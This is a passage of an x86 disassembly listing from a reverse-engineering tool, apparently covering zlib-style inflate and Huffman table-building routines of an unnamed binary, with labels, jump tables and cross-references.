mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx lea eax, [ebp+var_50] push eax lea ecx, [ebp+var_48] push ecx lea edx, [ebp+var_40] push edx lea eax, [ebp+var_4C] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_10] shr eax, 5 and eax, 1Fh add eax, 1 push eax mov ecx, [ebp+var_10] and ecx, 1Fh add ecx, 101h push ecx call sub_42CF36 add esp, 24h mov [ebp+var_10], eax mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 cmp [ebp+var_10], 0 jz short loc_42C196 cmp [ebp+var_10], 0FFFFFFFDh jnz short loc_42C135 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_42C135: ; CODE XREF: sub_42B1FD+F2Dj mov edx, [ebp+var_10] mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C196: ; CODE XREF: sub_42B1FD+F27j mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_48] push edx mov eax, [ebp+var_40] push eax mov ecx, [ebp+var_4C] push ecx call sub_42A289 add esp, 14h mov [ebp+var_44], eax cmp [ebp+var_44], 0 jnz short loc_42C21D mov [ebp+arg_8], 0FFFFFFFCh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C21D: ; CODE XREF: sub_42B1FD+FBCj mov edx, [ebp+arg_0] mov eax, [ebp+var_44] mov [edx+4], eax mov ecx, [ebp+arg_0] mov dword ptr [ecx], 6 loc_42C22F: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:0042C545o mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A2DE add esp, 0Ch mov [ebp+arg_8], eax cmp [ebp+arg_8], 1 jz short loc_42C2A7 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C2A7: ; CODE XREF: sub_42B1FD+108Fj mov [ebp+arg_8], 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_42B035 add esp, 8 mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_1C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42C309 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_78], eax jmp short loc_42C315 ; --------------------------------------------------------------------------- loc_42C309: ; CODE XREF: sub_42B1FD+10F9j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_78], edx loc_42C315: ; CODE XREF: sub_42B1FD+110Aj mov eax, [ebp+var_78] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] cmp dword ptr [ecx+18h], 0 jnz short loc_42C332 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_42C524 ; --------------------------------------------------------------------------- loc_42C332: ; CODE XREF: sub_42B1FD+1125j mov eax, [ebp+arg_0] mov dword ptr [eax], 7 loc_42C33B: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:0042C549o mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch mov [ebp+arg_8], eax mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_42C380 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_7C], edx jmp short loc_42C38C ; --------------------------------------------------------------------------- loc_42C380: ; CODE XREF: sub_42B1FD+1170j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_7C], ecx loc_42C38C: ; CODE XREF: sub_42B1FD+1181j mov edx, [ebp+var_7C] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+34h] jz short loc_42C3FB mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C3FB: ; CODE XREF: sub_42B1FD+11A1j mov eax, [ebp+arg_0] mov dword ptr [eax], 8 loc_42C404: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:0042C54Do mov [ebp+arg_8], 1 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C466: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:0042C551o mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp short loc_42C529 ; --------------------------------------------------------------------------- loc_42C4C5: ; CODE XREF: sub_42B1FD+6Cj mov [ebp+arg_8], 0FFFFFFFEh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp short loc_42C529 ; --------------------------------------------------------------------------- loc_42C524: ; CODE XREF: sub_42B1FD:loc_42B501j ; sub_42B1FD+487j ... jmp loc_42B25D ; --------------------------------------------------------------------------- loc_42C529: ; CODE XREF: sub_42B1FD+EBj ; sub_42B1FD+238j ... mov esp, ebp pop ebp retn sub_42B1FD endp ; --------------------------------------------------------------------------- off_42C52D dd offset loc_42B279 ; DATA XREF: sub_42B1FD+75r dd offset loc_42B506 dd offset loc_42B689 dd offset loc_42B8EE dd offset loc_42BAFD dd offset loc_42BD0E dd offset loc_42C22F dd offset loc_42C33B dd offset loc_42C404 dd offset loc_42C466 off_42C555 dd offset loc_42B354 ; DATA XREF: sub_42B1FD+150r dd offset loc_42B391 dd offset loc_42B45A dd offset loc_42B47A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C565 proc near ; CODE XREF: sub_42DCDC+3Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42B04E add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 xor eax, eax pop ebp retn sub_42C565 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C5C0 proc near ; CODE XREF: sub_42CE8E+51p ; sub_42CF36+62p ... var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_54 = dword ptr -54h var_50 = byte ptr -50h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_54] mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_EC], ecx loc_42C6FE: ; CODE XREF: sub_42C5C0+172j mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+eax*4+var_54] add ecx, 1 mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+eax*4+var_54], ecx mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_EC] sub edx, 1 mov [ebp+var_EC], edx cmp [ebp+var_EC], 0 jnz short loc_42C6FE mov eax, [ebp+var_54] cmp eax, [ebp+arg_4] jnz short loc_42C755 mov ecx, [ebp+arg_14] mov dword ptr [ecx], 0 mov edx, [ebp+arg_18] mov dword ptr [edx], 0 xor eax, eax jmp loc_42CE8A ; --------------------------------------------------------------------------- loc_42C755: ; CODE XREF: sub_42C5C0+17Aj mov eax, [ebp+arg_18] mov ecx, [eax] mov [ebp+var_100], ecx mov [ebp+var_F4], 1 jmp short loc_42C77B ; --------------------------------------------------------------------------- loc_42C76C: ; CODE XREF: sub_42C5C0:loc_42C793j mov edx, [ebp+var_F4] add edx, 1 mov [ebp+var_F4], edx loc_42C77B: ; CODE XREF: sub_42C5C0+1AAj cmp [ebp+var_F4], 0Fh ja short loc_42C795 mov eax, [ebp+var_F4] cmp [ebp+eax*4+var_54], 0 jz short loc_42C793 jmp short loc_42C795 ; --------------------------------------------------------------------------- loc_42C793: ; CODE XREF: sub_42C5C0+1CFj jmp short loc_42C76C ; --------------------------------------------------------------------------- loc_42C795: ; CODE XREF: sub_42C5C0+1C2j ; sub_42C5C0+1D1j mov ecx, [ebp+var_F4] mov [ebp+var_FC], ecx mov edx, [ebp+var_100] cmp edx, [ebp+var_F4] jnb short loc_42C7BB mov eax, [ebp+var_F4] mov [ebp+var_100], eax loc_42C7BB: ; CODE XREF: sub_42C5C0+1EDj mov [ebp+var_EC], 0Fh jmp short loc_42C7D6 ; --------------------------------------------------------------------------- loc_42C7C7: ; CODE XREF: sub_42C5C0:loc_42C7EEj mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx loc_42C7D6: ; CODE XREF: sub_42C5C0+205j cmp [ebp+var_EC], 0 jz short loc_42C7F0 mov edx, [ebp+var_EC] cmp [ebp+edx*4+var_54], 0 jz short loc_42C7EE jmp short loc_42C7F0 ; --------------------------------------------------------------------------- loc_42C7EE: ; CODE XREF: sub_42C5C0+22Aj jmp short loc_42C7C7 ; --------------------------------------------------------------------------- loc_42C7F0: ; CODE XREF: sub_42C5C0+21Dj ; sub_42C5C0+22Cj mov eax, [ebp+var_EC] mov [ebp+var_A0], eax mov ecx, [ebp+var_100] cmp ecx, [ebp+var_EC] jbe short loc_42C816 mov edx, [ebp+var_EC] mov [ebp+var_100], edx loc_42C816: ; CODE XREF: sub_42C5C0+248j mov eax, [ebp+arg_18] mov ecx, [ebp+var_100] mov [eax], ecx mov edx, 1 mov ecx, [ebp+var_F4] shl edx, cl mov [ebp+var_E8], edx jmp short loc_42C853 ; --------------------------------------------------------------------------- loc_42C836: ; CODE XREF: sub_42C5C0:loc_42C88Aj mov eax, [ebp+var_F4] add eax, 1 mov [ebp+var_F4], eax mov ecx, [ebp+var_E8] shl ecx, 1 mov [ebp+var_E8], ecx loc_42C853: ; CODE XREF: sub_42C5C0+274j mov edx, [ebp+var_F4] cmp edx, [ebp+var_EC] jnb short loc_42C88C mov eax, [ebp+var_F4] mov ecx, [ebp+var_E8] sub ecx, [ebp+eax*4+var_54] mov [ebp+var_E8], ecx cmp [ebp+var_E8], 0 jge short loc_42C88A mov eax, 0FFFFFFFDh jmp loc_42CE8A ; --------------------------------------------------------------------------- loc_42C88A: ; CODE XREF: sub_42C5C0+2BEj jmp short loc_42C836 ; --------------------------------------------------------------------------- loc_42C88C: ; CODE XREF: sub_42C5C0+29Fj mov edx, [ebp+var_EC] mov eax, [ebp+var_E8] sub eax, [ebp+edx*4+var_54] mov [ebp+var_E8], eax cmp [ebp+var_E8], 0 jge short loc_42C8B5 mov eax, 0FFFFFFFDh jmp loc_42CE8A ; --------------------------------------------------------------------------- loc_42C8B5: ; CODE XREF: sub_42C5C0+2E9j mov ecx, [ebp+var_EC] mov edx, [ebp+ecx*4+var_54] add edx, [ebp+var_E8] mov eax, [ebp+var_EC] mov [ebp+eax*4+var_54], edx mov [ebp+var_F4], 0 mov ecx, [ebp+var_F4] mov [ebp+var_DC], ecx lea edx, [ebp+var_50] mov [ebp+var_4], edx lea eax, [ebp+var_D8] mov [ebp+var_98], eax loc_42C8F7: ; CODE XREF: sub_42C5C0+386j mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx cmp [ebp+var_EC], 0 jz short loc_42C948 mov edx, [ebp+var_4] mov eax, [ebp+var_F4] add eax, [edx] mov [ebp+var_F4], eax mov ecx, [ebp+var_98] mov edx, [ebp+var_F4] mov [ecx], edx mov eax, [ebp+var_98] add eax, 4 mov [ebp+var_98], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_42C8F7 ; --------------------------------------------------------------------------- loc_42C948: ; CODE XREF: sub_42C5C0+34Dj mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov [ebp+var_EC], 0 loc_42C958: ; CODE XREF: sub_42C5C0+404j mov eax, [ebp+var_4] mov ecx, [eax] mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax test edx, edx jz short loc_42C9AC mov ecx, [ebp+var_F4] mov edx, [ebp+ecx*4+var_E0] mov eax, [ebp+arg_24] mov ecx, [ebp+var_EC] mov [eax+edx*4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+edx*4+var_E0] add eax, 1 mov ecx, [ebp+var_F4] mov [ebp+ecx*4+var_E0], eax loc_42C9AC: ; CODE XREF: sub_42C5C0+3B4j mov edx, [ebp+var_EC] add edx, 1 mov [ebp+var_EC], edx mov eax, [ebp+var_EC] cmp eax, [ebp+arg_4] jb short loc_42C958 mov ecx, [ebp+var_A0] mov edx, [ebp+ecx*4+var_E0] mov [ebp+arg_4], edx mov [ebp+var_EC], 0 mov eax, [ebp+var_EC] mov [ebp+var_E0], eax mov ecx, [ebp+arg_24] mov [ebp+var_4], ecx mov [ebp+var_E4], 0FFFFFFFFh mov edx, [ebp+var_100] neg edx mov [ebp+var_9C], edx mov [ebp+var_90], 0 mov [ebp+var_8], 0 mov [ebp+var_F0], 0 jmp short loc_42CA36 ; --------------------------------------------------------------------------- loc_42CA27: ; CODE XREF: sub_42C5C0:loc_42CE57j mov eax, [ebp+var_FC] add eax, 1 mov [ebp+var_FC], eax loc_42CA36: ; CODE XREF: sub_42C5C0+465j mov ecx, [ebp+var_FC] cmp ecx, [ebp+var_A0] jg loc_42CE5C mov edx, [ebp+var_FC] mov eax, [ebp+edx*4+var_54] mov [ebp+var_C], eax loc_42CA55: ; CODE XREF: sub_42C5C0:loc_42CE52j mov ecx, [ebp+var_C] mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx test ecx, ecx jz loc_42CE57 loc_42CA69: ; CODE XREF: sub_42C5C0:loc_42CC9Fj mov eax, [ebp+var_9C] add eax, [ebp+var_100] cmp [ebp+var_FC], eax jle loc_42CCA4 mov ecx, [ebp+var_E4] add ecx, 1 mov [ebp+var_E4], ecx mov edx, [ebp+var_9C] add edx, [ebp+var_100] mov [ebp+var_9C], edx mov eax, [ebp+var_A0] sub eax, [ebp+var_9C] mov [ebp+var_F0], eax mov ecx, [ebp+var_F0] cmp ecx, [ebp+var_100] jbe short loc_42CAD0 mov edx, [ebp+var_100] mov [ebp+var_104], edx jmp short loc_42CADC ; --------------------------------------------------------------------------- loc_42CAD0: ; CODE XREF: sub_42C5C0+500j mov eax, [ebp+var_F0] mov [ebp+var_104], eax loc_42CADC: ; CODE XREF: sub_42C5C0+50Ej mov ecx, [ebp+var_104] mov [ebp+var_F0], ecx mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov [ebp+var_F4], edx mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_94], eax mov ecx, [ebp+var_C] add ecx, 1 cmp [ebp+var_94], ecx jbe loc_42CBB3 mov edx, [ebp+var_C] add edx, 1 mov eax, [ebp+var_94] sub eax, edx mov [ebp+var_94], eax mov ecx, [ebp+var_FC] lea edx, [ebp+ecx*4+var_54] mov [ebp+var_98], edx mov eax, [ebp+var_F4] cmp eax, [ebp+var_F0] jnb short loc_42CBB3 loc_42CB51: ; CODE XREF: sub_42C5C0+5F1j mov ecx, [ebp+var_F4] add ecx, 1 mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_42CBB3 mov eax, [ebp+var_94] shl eax, 1 mov [ebp+var_94], eax mov ecx, [ebp+var_98] add ecx, 4 mov [ebp+var_98], ecx mov edx, [ebp+var_98] mov eax, [ebp+var_94] cmp eax, [edx] ja short loc_42CB9D jmp short loc_42CBB3 ; --------------------------------------------------------------------------- loc_42CB9D: ; CODE XREF: sub_42C5C0+5D9j mov ecx, [ebp+var_98] mov edx, [ebp+var_94] sub edx, [ecx] mov [ebp+var_94], edx jmp short loc_42CB51 ; --------------------------------------------------------------------------- loc_42CBB3: ; CODE XREF: sub_42C5C0+559j ; sub_42C5C0+58Fj ... mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_F0], eax mov ecx, [ebp+arg_20] mov edx, [ecx] add edx, [ebp+var_F0] cmp edx, 5A0h jbe short loc_42CBE3 mov eax, 0FFFFFFFCh jmp loc_42CE8A ; --------------------------------------------------------------------------- loc_42CBE3: ; CODE XREF: sub_42C5C0+617j mov eax, [ebp+arg_20] mov ecx, [eax] mov edx, [ebp+arg_1C] lea eax, [edx+ecx*8] mov [ebp+var_8], eax mov ecx, [ebp+var_E4] mov edx, [ebp+var_8] mov [ebp+ecx*4+var_90], edx mov eax, [ebp+arg_20] mov ecx, [eax] add ecx, [ebp+var_F0] mov edx, [ebp+arg_20] mov [edx], ecx cmp [ebp+var_E4], 0 jz short loc_42CC97 mov eax, [ebp+var_E4] mov ecx, [ebp+var_EC] mov [ebp+eax*4+var_E0], ecx mov dl, byte ptr [ebp+var_100] mov byte ptr [ebp+var_14+1], dl mov al, byte ptr [ebp+var_F4] mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_9C] sub ecx, [ebp+var_100] mov edx, [ebp+var_EC] shr edx, cl mov [ebp+var_F4], edx mov eax, [ebp+var_E4] mov ecx, [ebp+var_8] sub ecx, [ebp+eax*4+var_94] sar ecx, 3 sub ecx, [ebp+var_F4] mov [ebp+var_10], ecx mov edx, [ebp+var_E4] mov eax, [ebp+edx*4+var_94] mov ecx, [ebp+var_F4] mov edx, [ebp+var_14] mov [eax+ecx*8], edx mov edx, [ebp+var_10] mov [eax+ecx*8+4], edx jmp short loc_42CC9F ; --------------------------------------------------------------------------- loc_42CC97: ; CODE XREF: sub_42C5C0+658j mov eax, [ebp+arg_14] mov ecx, [ebp+var_8] mov [eax], ecx loc_42CC9F: ; CODE XREF: sub_42C5C0+6D5j jmp loc_42CA69 ; --------------------------------------------------------------------------- loc_42CCA4: ; CODE XREF: sub_42C5C0+4BBj mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov byte ptr [ebp+var_14+1], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_24] lea edx, [ecx+eax*4] cmp [ebp+var_4], edx jb short loc_42CCC7 mov byte ptr [ebp+var_14], 0C0h jmp short loc_42CD25 ; --------------------------------------------------------------------------- loc_42CCC7: ; CODE XREF: sub_42C5C0+6FFj mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_8] jnb short loc_42CCF7 mov edx, [ebp+var_4] cmp dword ptr [edx], 100h sbb eax, eax and al, 0A0h add eax, 60h mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax jmp short loc_42CD25 ; --------------------------------------------------------------------------- loc_42CCF7: ; CODE XREF: sub_42C5C0+70Fj mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_8] mov eax, [ebp+arg_10] mov ecx, [eax+edx*4] add ecx, 50h mov byte ptr [ebp+var_14], cl mov edx, [ebp+var_4] mov eax, [edx] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov edx, [ecx+eax*4] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax loc_42CD25: ; CODE XREF: sub_42C5C0+705j ; sub_42C5C0+735j mov ecx, [ebp+var_FC] sub ecx, [ebp+var_9C] mov edx, 1 shl edx, cl mov [ebp+var_94], edx mov eax, [ebp+var_EC] mov ecx, [ebp+var_9C] shr eax, cl mov [ebp+var_F4], eax jmp short loc_42CD66 ; --------------------------------------------------------------------------- loc_42CD54: ; CODE XREF: sub_42C5C0+7CAj mov ecx, [ebp+var_F4] add ecx, [ebp+var_94] mov [ebp+var_F4], ecx loc_42CD66: ; CODE XREF: sub_42C5C0+792j mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_42CD8C mov eax, [ebp+var_F4] mov ecx, [ebp+var_8] mov edx, [ebp+var_14] mov [ecx+eax*8], edx mov edx, [ebp+var_10] mov [ecx+eax*8+4], edx jmp short loc_42CD54 ; --------------------------------------------------------------------------- loc_42CD8C: ; CODE XREF: sub_42C5C0+7B2j mov ecx, [ebp+var_FC] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_F4], eax jmp short loc_42CDB2 ; --------------------------------------------------------------------------- loc_42CDA4: ; CODE XREF: sub_42C5C0+814j mov ecx, [ebp+var_F4] shr ecx, 1 mov [ebp+var_F4], ecx loc_42CDB2: ; CODE XREF: sub_42C5C0+7E2j mov edx, [ebp+var_EC] and edx, [ebp+var_F4] test edx, edx jz short loc_42CDD6 mov eax, [ebp+var_EC] xor eax, [ebp+var_F4] mov [ebp+var_EC], eax jmp short loc_42CDA4 ; 